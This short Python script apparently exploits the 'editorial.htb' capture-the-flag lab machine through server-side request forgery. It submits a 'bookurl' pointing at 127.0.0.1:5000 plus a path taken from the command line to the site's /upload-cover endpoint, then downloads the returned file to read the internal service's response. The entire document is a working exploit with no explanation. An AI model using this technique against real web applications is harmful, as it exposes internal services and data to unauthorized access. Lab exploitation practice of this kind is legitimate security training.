import requests
import io
import sys

base_url = 'http://editorial.htb'
try:
    target_path = sys.argv[1]
except:
    target_path = ''

if __name__ == '__main__':
    data = {
        'bookurl': f'http://127.0.0.1:5000/{target_path}'
    }
    files = {
        ('bookfile', ('hello.txt', io.StringIO('hello'), 'text/plain'))
    }
    r = requests.post(f'{base_url}/upload-cover', data=data, files=files)
    path = r.text
    r = requests.get(f'{base_url}/{path}')
    print(r.text)